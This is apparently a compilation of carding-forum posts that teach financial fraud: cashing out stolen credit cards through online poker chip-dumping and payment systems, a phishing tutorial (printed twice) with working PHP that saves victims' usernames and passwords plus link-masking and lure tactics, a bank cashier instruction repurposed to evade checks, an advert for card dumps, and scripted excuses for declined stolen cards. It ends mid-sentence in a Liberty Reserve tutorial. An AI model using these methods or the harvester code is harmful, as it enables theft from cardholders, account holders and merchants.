So, when you have chosen an online casino we will continue our guide with all the mentioned above parameters. Now we are interested in the limits on the first deposit. The bigger the limit is, the better for us. Still, I would not advise you on starting to work with online casinos such as Go Play of the B2B net, because here the limit of the first deposit will it reach the maximum at 20 dollars. Usually almost all casinos have high limit, which exceed that sum that we will deposit. I would like to note that anti-fraud policies of the online casino affects all the rooms on this site – which means that if one of the room blocks you from depositing or withdrawing money or asks you for scans or calls you, it is better to leave this online casino, as it will make life difficult.

2. Depositing (Depositing using cvv)

Remember that you will probably not be able to use American cards on your online casino that you have selected, because Americans are prohibited from gambling online. However an alternative solution is to buy EU cc or one from the UK, although cards from Italy, France or Germany are the best to use. When you have got you valid cc – we can definitely get started.

We should follow the standard registration procedure. Enter in all the cardholder’s information. After you have entered in one valid e-mail addresses, you will receive a email link to verify this online casino account, once you have clicked the link in the email, you have completed the e-mail verification and will have completed registration. If you have not logged in to the account now is the time to login. We are interested in the balance growth. Click on the methods of deposit and in our case, the method is credit card. Copy all the data and enter it into the correct text fields. Usually the page will ask you to enter the CC number, First and Last name, Card expiry date and CVV code, which is the last 3 digits on the back of a credit card (if its Visa or MasterCard. It will ask you to enter the amount you wish to deposit. (I Strongly recommend you on setting the amount within the range of 200-700 dollars, depending on the online casino and card type). One important thing – Remember to set the card’s type, If it is a Visa then the CC number will begin with a 4 or 6, if it is a MasterCard it will start with a 5.

Click on the Submit button and wait until the data processing is complete. If the deposit was not successful, you should not get upset – everything comes with experience. There could be several reasons as to why this has happened: either the bank did not authorize this transaction, the card has exceeded the limit for that day or that the card does not have enough funds. Alternatively the site may not allow the cc processing of a particular bank. After a short period of time you will make your own BIN-base of the cards that you can deposit successfully. So let’s move on to the next point.

3. Losing to the other person

Here we have reached the important point, in my opinion. There are two parts of a deposit.

a. Lose

The idea is to lose the money in this account to your partners. your partner should have a clear account on this online casino. On this account a deposit should be made, and on this account all the money won will

be added. You choose one room in the poker site and start the game. It will most probably be the Texas hold ‘em poker game.
I will describe the game rules in another topic. I have experience playing poker this is why I am planning to write up articles on the game nuances.
During the game you should realistically lose your staked money. You know your opponents cards and on your mutual decision you make a stake or pass – as a result of it on the river you should have a winning combination, you hand should be really strong respectfully to the strength of the combination of your partner. The possibility of bluff is not excluded too. For example if you hand is a little weaker in this case you have a pair of JJ and you opponent has a pair of QQ 0 in this case if you make bet/raise (stake the sum or raise it) on the sum of ? of your bank or higher till the stake ‘all in’ a stake for all the dibs) you will get a pot (bank). Naturally all the game goes according to the wishes and desires of your partner, there should be harmony in your actions in order to escape unneeded situations.
I will not get into the details of the game’s nuances when there are other people playing in the same room, I will just describe shortly one of the main and important tactics. You and your opponent take seats close to each other. Somebody among you both (it will be better if its yourself – because It is easier to lose somebody’s money) regularly and aggressively lays and stakes his money on the preflop – the first step of the game, it is there when the cards should be divided among the players in a clockwise fashion, starting from the player called BigBlaind). Doing this he sorts or even makes people discard their cards. The bid sum should not be very small or very big. I think that it will be convenient to make a first bid of the sum of 10BB. Still everything depends on the style of playing of the other player, on their general amount and on the cards you have.
That’s all; I have already described a first method…then we will take a closer look to each of them.
B) Go on playing
This method requires professionalism and special knowledge of the game itself, and it will not be convenient for the beginners.
The sense is to win the game-actually; this aim has every player of the room. When you have already won some certain sum of money you make a withdrawal on the card you have previously made a deposit on, you set the same amount of money you had at the beginning of your game. One problem can arise – every Casino asks you to make the first withdrawal to the same place (card or some system) where you had your first deposit. Moreover the sum of money withdrawed should be equal to those of the deposit. The rest of the money, won by you, can be transferred to other systems by every possible means.
Here probably you will have a question, why should not I play honestly and win the money, if I can simply use my own budget and then be free to choose the way of its withdrawal escaping other impediments? It is not so pitifully – to lose somebody’s money and not your own. Having lost all the deposit you will lose your maximum – your time and material, which costs lower and much lower than the previous option Benefit is obvious here.

Paypal Cvv carding

Two accs from this site http://poker.betfair.com one with the emal adress of the pp you want to cash out and one with your real data. make sure that u have verified the real acc to withdraw your money from this site(i lost 250 on research for this tut) before u transfer big sums two acc where suspended from me.
after you know everything works u only need 2 ip addy one for the real name acc and one for the acc u want to cash out i suggest to use rdp for the other one.
now u can meet on an empty and start transfer the money (750 max). make a small show than it wont be suspect 4 the admin.

Phishing Tutorial

Hello carders, maybe someone will find this usefull! enjoy

1. Intro
There are couple of other phishing tutorials around here, but some people seem to have problems understanding them. So I'll try to be as simple as possible. This phishing tutorial is written for newbs, and if you have problems understanding it, then you need to get some beginner level computer knowledge first.

-This article was written for educational purpose only. I'm not responsible for any illegal activity that you may commit.

2. What is a phisher?
Phisher is something that looks like a login page(a fake login page), that writes the username and the password to a file, or does whatever you want.

3. How to make one?
All you need is a web hosting service with PHP enabled.
We will use t35. Go to www. t35. com (remove spaces) and sign up for a free account. (whenever I write something like www. t35. com, you should remove the spaces inbetween. I'm doing it cause the link for t35 is censored on hackforums.) In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it.
Get back to your t35 account and click on 'New File', delete the text that will be there by default, and paste the Myspace's source code there. Name the file 'index.php'(without the "), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be 'www.xxx. t35. com/index.php' - where 'xxx' is the name of your account(you can name it anyhow.
But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it writes the username and password to a text file.
Open your 'index.php' file. Search in the code for keywords 'action='.
There will be several 'action=some link' in the myspace's source code(for the sign in button, search button, etc.). We need to find the 'action=some link' that refers to the Login button.
After some searching, we find the:
Code:
<h5 class="heading">
Member Login
</h5>
<form action="http://secure.myspace.com/index.cfm?fuseaction=login.process" method="post" id="LoginForm" name="aspnetForm">

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
vc3RCYWNrS2V5X18WAgUwY3RsMDAkT
WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN

rYm94BTBjdGwwMCRNYWluJFNwbGFza
ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=" />

and we know that 'action="http://secure.myspace.com/index.cfm?fuseaction=login.process"' refers to the login button.
Change:
action="http://secure.myspace.com/index.cfm?fuseaction=login.process"
To:
action="login.php"
and save the file.

Formerly, when you click the login button it would take the values in the username and password boxes, and execute the functions in the 'http://secure.myspace.com/index.cfm?fuseaction=login.process' file.
Now when you click the login button it will take the values in the username in password boxes, and execute the functions in the 'login.php' file on your site(which doesn't exist yet).
All we have to do now, is to create a 'login.php' file that contains a function that writes down the username and password into a text document.
Make another file named 'login.php'(without the quotes) and paste the following code in it:
Code:
```
<?php
header ('Location: MySpace | Login ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);

exit;
?>
```
The function of login.php is simple. It opens a file named 'passwords.txt'(and creates it if it doesn't already exist) and enter the informations there(the username and password).
Congratulations! You have a phisher!Superman
The link to your phish site is:
http://xxx. t35. com/index.php -where 'xxx' is your account name.
The link to your text file is:
http://xxx. t35. com/passwords.txt
Or you may access it from your account.

Note that you can choose whatever names you like for index.php, login.php and passwords.txt. but the .php and .txt must stay the same.

4. How to trick people to fall for it.
There are billions of ways how to do it, your creativity is your limit.
Most common way is to make an email similar to the admin, and sending them some report with a link to log in the site(your phish site). Ofcourse you will mask the link.
How to mask the link?
If you're posting it on forums, or anywhere where bb code is enabled, you're doing this:
Code:
```
TheOriginalSiteLink
```
For example, Google looks like a google, but it leads you to yahoo when you click it.

If you're making the phisher for myspace, and want to get random ppl to it, you can simply make some hot chick account and put some hot pic that will lead to your phish site when clicked. So when they click the lusty image, they will be led to your phish site telling them they need to log in to see that.Hehe
Like this:
Code:
link%20of%20the%20image
When sending emails see for the option 'hyperlink', and it's self explainable once you see it.
There are many other ways, and as I said, your creativity is the limit.

5. Outro
I hope that this tutorial was helpful and simple enough. It explains how to make a phisher, and how it works. Although is written for Myspace, the procedure is equivalent for almost every other login site(for hotmail is different). After this, it's up to you to explore, experiment and dive in the world of social engineering

Phishing tut

Hello carders, maybe someone will find this usefull! enjoy

1. Intro
There are couple of other phishing tutorials around here, but some people seem to have problems understanding them. So I'll try to be as simple as possible. This phishing tutorial is written for newbs, and if you have problems understanding it, then you need to get some beginner level computer knowledge first.

-This article was written for educational purpose only. I'm not responsible for any illegal activity that you may commit.

2. What is a phisher?
Phisher is something that looks like a login page(a fake login page), that writes the username and the password to a file, or does whatever you want.

3. How to make one?
All you need is a web hosting service with PHP enabled.
We will use t35. Go to www. t35. com (remove spaces) and sign up for a free account. (whenever I write something like www. t35. com, you should remove the spaces inbetween. I'm doing it cause the link for t35 is censored on hackforums.) In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it.
Get back to your t35 account and click on 'New File', delete the text that will be there by default, and paste the Myspace's source code there. Name the file 'index.php'(without the '), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be 'www.xxx. t35. com/index.php' - where 'xxx' is the name of your account(you can name it anyhow.
But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it writes the username and password to a text file.

Open your 'index.php' file. Search in the code for keywords 'action='.
There will be several 'action=some link' in the myspace's source code(for the sign in button, search button, etc.). We need to find the 'action=some link' that refers to the Login button.
After some searching, we find the:
Code:

```
<h5 class="heading">
Member Login
</h5>
<form action="http://secure.myspace.com/index.cfm?fuseaction=login.process" method="post"
id="LoginForm" name="aspnetForm">
<div>
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
value="/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
vc3RCYWNrS2V5X18WAgUwY3RsMDAkT
WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN
rYm94BTBjdGwwMCRNYWluJFNwbGFza
ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=" />
</div>
```

and we know that 'action="http://secure.myspace.com/index.cfm?fuseaction=login.process"' refers to the login button.
Change:
action="http://secure.myspace.com/index.cfm?fuseaction=login.process"
To:
action="login.php"
and save the file.

Formerly, when you click the login button it would take the values in the username and password boxes, and execute the functions in the 'http://secure.myspace.com/index.cfm?fuseaction=login.process' file.
Now when you click the login button it will take the values in the username in password boxes, and execute the functions in the 'login.php' file on your site(which doesn't exist yet).
All we have to do now, is to create a 'login.php' file that contains a function that writes down the username and password into a text document.
Make another file named 'login.php'(without the quotes) and paste the following code in it:
Code:

```
<?php
header ('Location: MySpace | Login ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);

exit;
?>
```

The function of login.php is simple. It opens a file named 'passwords.txt'(and creates it if it doesn't already exist) and enter the informations there(the username and password).
Congratulations! You have a phisher!Superman
The link to your phish site is:
http://xxx. t35. com/index.php -where 'xxx' is your account name.
The link to your text file is:
http://xxx. t35. com/passwords.txt

Or you may access it from your account.

Note that you can choose whatever names you like for index.php, login.php and passwords.txt. but the .php and .txt must stay the same.

4. How to trick people to fall for it.
There are billions of ways how to do it, your creativity is your limit.
Most common way is to make an email similar to the admin, and sending them some report with a link to log in the site(your phish site). Ofcourse you will mask the link.
How to mask the link?
If you're posting it on forums, or anywhere where bb code is enabled, you're doing this:
Code:
TheOriginalSiteLink
For example, Google looks like a google, but it leads you to yahoo when you click it.

If you're making the phisher for myspace, and want to get random ppl to it, you can simply make some hot chick account and put some hot pic that will lead to your phish site when clicked. So when they click the lusty image, they will be led to your phish site telling them they need to log in to see that.Hehe
Like this:
Code:
link%20of%20the%20image
When sending emails see for the option 'hyperlink', and it's self explainable once you see it.
There are many other ways, and as I said, your creativity is the limit.

5. Outro
I hope that this tutorial was helpful and simple enough. It explains how to make a phisher, and how it works. Although is written for Myspace, the procedure is equivalent for almost every other login site(for hotmail is different). After this, it's up to you to explore, experiment and dive in the world of social engineering

Poker manual. Part1 – carding

Countries:
Best: ES, FR, DE, AU, IT, FI. (possible deposit withdraw, acceptance of lots of bins)
Where can be problems: US, CA, UK. (USA and CA don’t accept gambling money, UK cards are dying quick and can have too little balance or SMS-alerts);
Some rooms which accept USA CC:
SportsBook Poker
PlayersOnly Poker
Carbon Poker
Poker Stars
Bodog Poker
Only Poker
Super Book Poker
Full Tilt

And etc.

Accept the room your USA CC or don't depends of BIN, more exactly – from the bank. USA is only for beginners and for "loosing".
Europe is better because you can use any data instead of holder's name, address etc. All you need are card number, exp and cvv. Ipoker's rooms check any information before sending to merchant. It's often helps to contact with support.
Always check on valid your card before carding. ClickAndBuy.com -> New…
If you see that limit in the room is less than $600 – better look for another room of this poker net. It's possible that you'll find the room with bigger limit.
If your account is automatically locked after you've made the deposit – use payment systems. You can card any payment system where uses CC for uploading funds. I advise you to use moneybookers. It still cards good. Either directly from CC or through merchant (you'll have to accept SMS in the appropriate country or use the card with VBV or MCSC – in this way you don't have to accept SMS)
Also there are some exotic systems for carding like clickandbuy etc. but it's not for public. Payment systems are ALWAYS better for "loosing". But there're not good for cashing out.
What to do after money are deposited? – Read in the next article. Fraud inside the room

Poker manual. Part 2 – fraud inside the room

So we already have an account with money. Further we can:
- bet and win till $2000 on balance and:
1) sell for 10-20% from balance (deposit without withdraw 15-20%. To withdraw is possible only on Visa CCs which were made not in USA). Maximum profit from account is about $400.
2) "lose" won money to a clean account ("lose" carded money is already not good idea). Today is actual loosing in DoN (double or nothing) and timplay of expencive tournaments with less than 100 players (you should have a least three carded accounts). Holdem on NL100-NL400 is almost dead so it's not worth it if it isn't "standard" working limits of clean accounts. Also you can lose from carded account till some "trust limit' (it's made by security service of the room and usually $20-$100) and withdraw on fresh-registered account – it's stable profit for people who don't wait "jack-pots" and just want to work and earn. Profit from $500.
3) Give for cashing out. Profit to $1000.
4) Make a deposit by yourself and withdraw (moneybookers, neteller, webmoney etc). Account in payment system should be made with the same info (country, name, addres) which you used during registration of poker account. Then make transfer to account for cashing out with linked credit card or bank account.

- do the direct transfer to clean account BUT you mustn't order a withdraw on clean one! There are a lot of rooms where transfers work. In 90% won money are transferred without documents and shiet like this. I advise you to use one more account between carded and clean Till they will lock and investigate the chain your chances of success are growing.

- if you made deposit on promoted account (account with big history of playing and transactions) then you can win come money and right after that withdraw the money to the account where you've already made withdraw. Security service will start to work only after "fraud notification". You can also make a deposit from CC on your own clean account from cards of another countries and payment systems' accounts. Sometimes you'll be lucky and your clean accounts will present you for about $1000 a week. For example in Titan was verified account with documents and some cashouts which lived without locks for about a month and there were some "dirty" deposits through MB merchant (read the first article if you don't understand what I'm talking about), play "for vision" and made withdraw on WebMoney. I've got a

lot of points and I decided to order a bonus – but security servise got up and locked the account explained that I had no permission to take this bonus.
Similar situation was in PS and FTP where deposits were made with good CC on promoted accounts. Then withdraws were ordered.

Now poker is dead for people which just want to press a couple of buttons and don't invent any new ways. There are always enough bugs in different rooms – just you must be able to find and use it. Soon I'll write the third part of poker manual – cashing out.

POS-Cashier Job Explained

So, You have decided to work with real plastic bought from Zeusk. You got the cards, that virtually do not differ from the real ones, document, confirming the identity of a citizen of the country where the card was issued; the magnetic stripe contains the name, same as in Your documents.

And, of course, You are dressed in accordance with the sum which you wish to spend (like, on a diamond for Your another mistress, so when looking at this trifle, she recalled You). But there is a little problem, - You know that in fact, the card is Not Yours. And for You to feel more confident in this situation, You should know how the cashier works, and what is prescribed for him by an official instruction.

If you want to know this, - read this article: All about the Work of a POS-cashier. And You'll be in a more favorable position hereafter: You will know any action of the cashier, but he will nothing about You.

BANK INSTRUCTION FOR A POS-CASHIER (OPERATOR)

Bank card (further, - card) is a property of a bank issuer and can be used for the purchase of goods, or withdrawal of cash, only by a legal cardholder. His name is indicated on the front (exterior) side of the card, and example of his signature is located on the signature panel; also, the data presented by a cardholder must correspond with the data on card.

The card cannot be transferred by its legal holder to the third person for use, in any circumstances.

Illegal operation with the card means: its usage or attempt to use the card on someone's name, use of counterfeit card, or the counterfeit of the card itself, use of fraudulently received blanks of Slips and Slips of other enterprise, plotting additional symbols/records to the imprint of the card; counterfeit of the Slip, the use of white plastic with incused or coded data from the original card on the magnetic stripe (so-called, white plastic), writing uncollected code from the Authorization Center into the Slip, and also, illegal use of the card by its lawful holder.

When receiving cards, follow the current instruction, which will ensure your financial safety.

1. Check the period of validity
2. Make sure that the card complies with International standards, and its use is not limited by a country or a region, shown on the card (for instance: 'Valid only in..')
3. Make sure that the card is undamaged
4. Make sure that there are no signs of counterfeit of the card
5. Check the presence of signature on the panel for a signature, without a signature, the card is not serviceable.
6. Make sure that the signature on the slip/bill conforms to the example on the card.

7. Make sure that the data on the slip/bill conforms to the data of presented card: their discrepancy is possible in a case of counterfeit of a magnetic stripe (Buy my dumps! US Only; VISA/MC etc).

I. The Major features of counterfeit cards VISA and EUROCARD/MASTERCARD, most commonly encountered at the moment, and the methods of their revelation.

1. Hologram (Volumetric Image). The hologram on the fake cards can play with all colors of the spectrum, but the 'volume' is absent. The background of a real hologram is clear, images are easily recognizable and detailed. The background of a fake hologram is dull, and the image is not sharp. Fake hologram often exfoliates ('bubbles'), if pressed on the front surface, and bended the card in the hologram area. The foil with image of the forged hologram is easily lifted with a nail. A real hologram does not bubble when bending the card, doesn't have thickenings or bulges, and cant be damaged when attempting to pull it off with a nail.

2. Signature panel. A stripe of a white paper is glued instead of a panel for signature. The edges of a panel are easily lifted. The background with 3-color inscription 'MasterCard' (EURO cards), or blue/3-color VISA, is absent in some cases.

3. Lamination. The front (facial) side of the card, and sometimes, the backside, can be covered with a transparent tape, - laminate. Laminating tape flakes away on the edges; rarely, the hologram and embossing area do not fit tightly to the plastic.

4. BIN of a bank-issuer. The first 4 digits from the number of a card (account), duplicated with the paint (usually black), can rub away from the card. On the real card, it is impossible to erase the bin.

5. Logotype. VISA logo colors differ from the original, and can be wiped off the card.

6. Microprint. Microprint in the area around the logotype is virtually unreadable, and can be easily wiped off the card.

7. Stylized symbols. Symbols 'V' and 'MC' are made roughly and differ from the original.

8. UV-symbols. In UV-light, the image of a flying dove or letters 'MC', in EURO case, can be absent.

9. Magnetic stripe. The data of the magnetic stripe does not conform to embossing.

10. Side area of the card is dark, instead of being white.

II. Conducting authorization

Because of the safety, the POS-cashier is required to carry out electronic part of authorization via a POS-terminal, in the first place. In a case of refusal of fulfillment of the purchase, a report 'REFUSAL, N'(where N is a code of refusal; see the codes below) appears on the screen of a POS, no voice authorization, or card service should be done. A cashier should recommend a client to contact the bank-issuer.

Voice authorization can be carried out only in the case of no- or broken connection with a Processing Center (the screen of POS should show 'ERROR CONNECTION' or 'ERROR SETTING').

III. Specifics of Behavior of Card Presenters that Should Cause the Caution of a Cashier

1. Slow, uncertain writing on a slip/bill of a POS-terminal
2. Unnatural, nervous behavior, excessive talkativeness, attempts to speed-up the registration of a transaction.

3. Disparity of appearance and name of the holder, shown on card; for instance, in case of presentation of the card on a name of a citizen of a country of Latin America or South Africa, by a person with European appearance.
4. The card is taken from the pocket, not the wallet.
5. Aspiration to buy anything, without selecting, of any size etc.
6. Desire to deliver independently all large-size products (PC, Fridge, etc), despite the offered delivery service.

IV. Actions of a cashier, in case of rising doubts about originality of a card, or that the card is presented by its real holder.

1. Define the identity of card-presenter, asking to show identity-verification documents; identify the photo in a document and make sure that there are no signs of photo-exchange in a document (re-glued photo).
2. Write down the data from the document on a bill, or make a copy of a document.

In case of doubts about the legality of usage of a presented card, and at the same time, absence of confidence in refusal of service, it should be offered to pay with another card.

V. Actions of a cashier, in case of revelation of counterfeit card, or illegal holder.

After the ascertainment of the fact of using the card on other's name or forged card, or after the receipt of authorization command 'Pick Up', it is required:

1. To register the slip/bill
2. To give a presenter to sign it
3. Ask top show the passport or other identity-proofing document and write its data on a slip.
4. If necessary, the special signal during the authorization request can be used - 'CODE 10';.
Authorization center operator will inform and call a police to the enterprise.
Take measures to detention of a fraudster with the help of security guards of your enterprise.
Call the police using 911.
5. Register the arrest protocol, and if a policeman is up to take the slip and the card as evidence, - register an official protocol about the seizure of these documents.
6. Write down the data about the person, arrived at the detention, his position and work phone number.
7. Inform the policeman about an attempt of illegal use of a card, information will be transferred to CC Fraud Department.
8. Inform the bank-issuer security service about the accident.
9. Compose an accompanying letter, which should contain information about who seized the card, card number, duration, and a name of a holder.
10. During 3 working days, send a seized card to the bank with accompanying letter.

VI. Foundations for the seizure of a card from a cardholder

1. Presence of obvious features of counterfeit of a card. (see: features of fake cards)
2. Forged magnetic stripe (discrepancy between the data from the magnetic stripe with the data, embossed on a card).
3. Presentation of a card on other's name (different from the name of presenter), disparity of signature on a card with one on the identity-verification documents.
4. Receipt of a 'PICK UP' directive from AC.
5. The card has serious damage (broken, cut, pressed with an iron, embossing is unreadable)

VII. The Documents that Can Be Accepted By POS-Cashiers As Identity-Attesting Documents

Identity of a citizen of a country, is verified by a passport of a citizen. The forged cards are usually supplied with fake foreign passports.

Identity of a foreigner can be defined by his national passport, accreditation card of a diplomat, journalist,

and businessman.

In all cases when you ask for the document, write down the data from a document to a bill.

VIII. Actions, Forbidden with the Slips/Bills

1. Double rolling
2. Making changes into 2 left copies of a slip
3. Usage of a ‘white plastic’ for making a slip
4. Transfer of slip blanks to other persons

IX. Specifics of card processing when working with POS-terminal

It is obligatory to compare the number, embossed on the card, with a number on a bill.

ATTENTION! Seized, or found card is required for the transfer to its legal owner - bank-issuer in a 3-day term. Bank guarantees a REWARD for seizure of the card from illegal circulation.

X. POS CODES You wish to know.

[color=orange:240601002d]Code Name
00 Approved Successful transaction
01 Refer to Card Issuer Call to AC
02 Refer to Card Issuer, special condition Call to AC
03 Invalid Merchant Call to AC
04 Pick up card Seize a card, Call to AC
05 Do not honor Refusal
06 Error Call to AC
07 Pick up card, special condition Seize a card, Call to AC
08 Honor with identification Call to AC
09 Request in progress Call to AC
10 Approval for partial amount Call to AC
11 Approved VIP Call to AC
12 Invalid Transaction Call to AC
13 Invalid Amount Incorrect Amount
14 Invalid card number Incorrect card number
19 Re-enter transaction Recurring Transaction (copy)
21 No action taken Call to AC
30 Format Error Call to AC
41 Lost card Pick up Lost Card ; Seize a card, Call to AC
43 Stolen card Pick up Stolen Card; Seize a card, Call to AC
51 Not sufficient funds Insufficient Funds
52 No checking account Refusal
53 No savings account Refusal
54 Expired card Expired card. Refusal.
55 Pin incorrect Incorrect PIN code. Refusal
57 Transaction not allowed for cardholder Refusal
58 Transaction not allowed for merchant Current card type is not serviceable. Refusal
61 Exceeds withdrawal amount limit Spending Limit Exceeded Refusal
62 Restricted card Forbidden Card. Refusal
63 Security violation Call to AC
65 Activity count limit exceeded Refusal
75 Pin tries exceeded Wrong PIN counter overflow. Refusal.
76 Unable to locate previous Call to AC
77 Inconsistent with original Call to AC
78 No account Call to AC

80 Invalid transaction date Call to AC
81 Cryptographic PIN error Call to AC
84 Pre-authorization time to great Call to AC
86 Cannot verify PIN Call to AC
89 MAC error Incorrect MAC-code. Call to AC
91 Issuer unavailable Bank-issuer is not available
92 Invalid receiving institution id Call to AC
93 Transaction violates law Illegal Transaction
94 Duplicate transaction Recurring Transaction
96 System malfunction Call to AC[/color:240601002d]

POS Explained (words)

Account

A category used to group financial information and to create financial statements for a business. Accounts are typically represented by an account number. A well-defined chart of accounts is essential for good financial records.

Accounting interface

A method of transferring distributions and vouchered receivings from retail softwareto an accounting software package.

Accounts payable

Amounts owed to others (a liability) for goods or services purchased on credit.

Accounts receivable

Amounts owed to a business (an asset), usually by customers who purchased goods or services on credit.

Adjustment

An increase or decrease to the quantity indicated in the retail software package. The adjustment ensures that the records in the retail software match the actual physical quantity in inventory.

Additional markdown

An increase of a previous markdown to further lower the selling price.

Address Verification Service (AVS)

A service that reduces credit card fraud by verifying the cardholder's address information when the physical card isn't available to swipe through an MSR device (e.g., as with telephone orders). AVS processing doesn't affect whether the charge is approved. Instead, AVS indicates whether or not the address provided by the customer matches the address on file with the credit card company so that the merchant can decide whether or not to process the charge.

Aging

A process that determines the age (number of days old) of customer open items.

Allocated purchase order

A purchase order that includes goods intended for delivery to multiple locations. Items ordered with an allocated purchase order can be shipped to a single location, and then transferred to their final locations, or they may be shipped to each individual location from the vendor.

Alphanumeric

Consisting of letters, numbers, and/or special symbols (*, &, $, etc.) in any combination.

Alternate unit

Represents a secondary unit of measure for receiving or selling an item. For example, the stocking unit for an item might be 'each,' but you might receive an item by the alternate unit 'case.'

Audit trail

A method of tracking transactions through the entire sequence of their history so that all financial information can be traced. Certain reports should be printed or stored electronically in the retail software as part of the business's permanent records.

Authorization

The act of ensuring the cardholder has adequate funds available against his or her line of credit. If

authorized, an authorization code will be generated and adequate funds are set aside. The cardholder's available credit limit will be reduced by the authorized amount.

Authorization code (Approval code)

A code typically consisting of numbers which is given when a credit card transaction is authorized.

Available quantity

The quantity of an item that is currently available for sale. Generally, the available quantity is equal to the on-hand quantity minus any quantities set aside for open orders.

Average cost

An accounting cost method achieved by calculating or recalculating a weighted average of the cost of all inventory items currently in stock. This cost is recalculated each time items are added to the inventory, and in certain situations, when items are removed

B2B (Business-to-Business)

Business model focused on sales to other businesses. Manufacturers, wholesalers, and suppliers are typical B2B companies.

B2C (Business-to-Consumer)

Business model focused on sales to consumers. Retailers are typical B2C companies.

B2G (Business-to-Government)

Business model focused on sales to national, state, or local government agencies.

Backorder

A type of order normally created when there is insufficient quantity available for a sale or order.

Balance sheet inventory account

An account that tracks the value of on-hand inventory.

Barcode

A unique identifier for an inventory item or for a particular color/size combination for an item. A barcode may be printed in machine readable format using one of a number of common symbologies, such as UPC-A, Code 39, etc.

Batch processing

A processing model for entering several transactions in sequence, then finalizing (or posting) all of these transactions at the same time. Batch processing allows multiple employees to enter and edit the same types of transactions simultaneously in their retail software.

Bill of Lading (BOL)

A shipping document that serves as evidence that the carrier received shipment and as a contract between carrier and shipper.

Bin

Represents a physical place to store inventory. Bins are subdivisions of a location and are used to locate items. Generally, bins refer to physical rows/shelves or to actual bins.

Biometric

A measurable characteristic or unique trait, such as a fingerprint, used to recognize the identity of a person. Biometric devices can be used with retail point of sale systems as a secure log in mechanism.

Black Friday

The day after Thanksgiving. While Black Friday is often thought of as the busiest retail shopping day of the year, in fact the busiest retail shopping day of the year is usually the Saturday before Christmas.

The origin of the term Black Friday comes from the shift in profitability during the holiday season. Black Friday marks the day when many retailers shift from being unprofitable, or "in the red," to being profitable, or "in the black."

Buyer

An executive who is responsible for selecting, pricing, and purchasing merchandise. In many companies, the term "buyer" designates a department manager, whose responsibilities include, but are broader than, the purchasing function.

Responding to Declines when carding instore

Clever responses to declines

1. Nice

" That happened to me once before i may be over my limit for the day... well gimme that one back (your right stick hand out to psychologically pressure them to give it back) and try this one" (get card back) "well I guess my wife/husband/girlfriend/boyfriend/friends monkeys uncles cousin has it. Leave this here for 5 minutes ill be right back.

2. Logical

"I had the same problem earlier and when i called they said it has something to do with the cards they sent out when i got mine... there sending me another one but said it depended on what type of terminal the retailer uses.... ill just wait till i get the new card and come back later (under breathe.. "god dammit motherfucking piece of shit HELL") (smile and leave)

3. Annoyed

"you?ve got to be kidding me! After ALL the hassle ive been through with those damned credit card people and NOW this AGAIN!!! Just gimme the damn card back im gonna cancel the damn thing and then ill be back dammit (sound angry and use damn alot)"

4. Paranoid and bipolar

"OH NO!!! SOMEONE HAS BEEN USING MY CARD!!! OH MY GOD WHAT AM I GONNA DO!!! GIMME THAT BACK ITS PROBABLY ONE OF YOUR EMPLOYEES ANYWAY!!! OH NO OH NO OH NO I SAW A SHOW ON CNN ABOUT THIS KIND OF THING MY CREDIT IS GONNA BE RUINED!!!

5. IRATE

"you son of a BITCH... how DARE you say my card has to be VERIFIED i KNOW there?s enough FUCKING credit on the GOD DAMN CARD IM A DOCTOR YOU IMPOTENT PIECE OF DOG SHIT... Ill have your job for this you puny miniscule pre pubescent FUCK! GIMME THAT GOD DAMNED CARD BEFORE I SHOVE IT UP YOUR ASS!!!! Its ALWAYS SOMETHING... ALWAYS ... if its not the Porsche throwing a rod its the Mercedes leaking oil... if its not the WIFE FUCKING THE POOL BOY ITS THE WIFE FUCKING MY GOD DAMNED WORTHLESS BROTHER!!!! FUCK IT ... JUST GIMME THAT CARD BACK AND EAT A DICK...SHIT!!!!!!!!

6. Honest

"well that would probably be the credit card company telling you the card is stolen bro... Im surprised its lasted this long.. haha call them and see what they say.. tell them i left or some shit... yeah the person that owns this card is up shit creek without a raft to float on if you know what i mean... haha well i guess ill be back when i get another one..oh.. no i dont want it back dog just keep it leave it for some dumbass to find and try and use it... boy wont he be surprised"

Simple tut for members about liberty reserve

Ok here it is a simple tutorial for members (mainly new members)
that dont know how to use Liberty reserve
i know some of you will say this is simple but
sometimes thing need to spelled out for our newer members

Question 1
What is Liberty Reserve ?.

Answer .
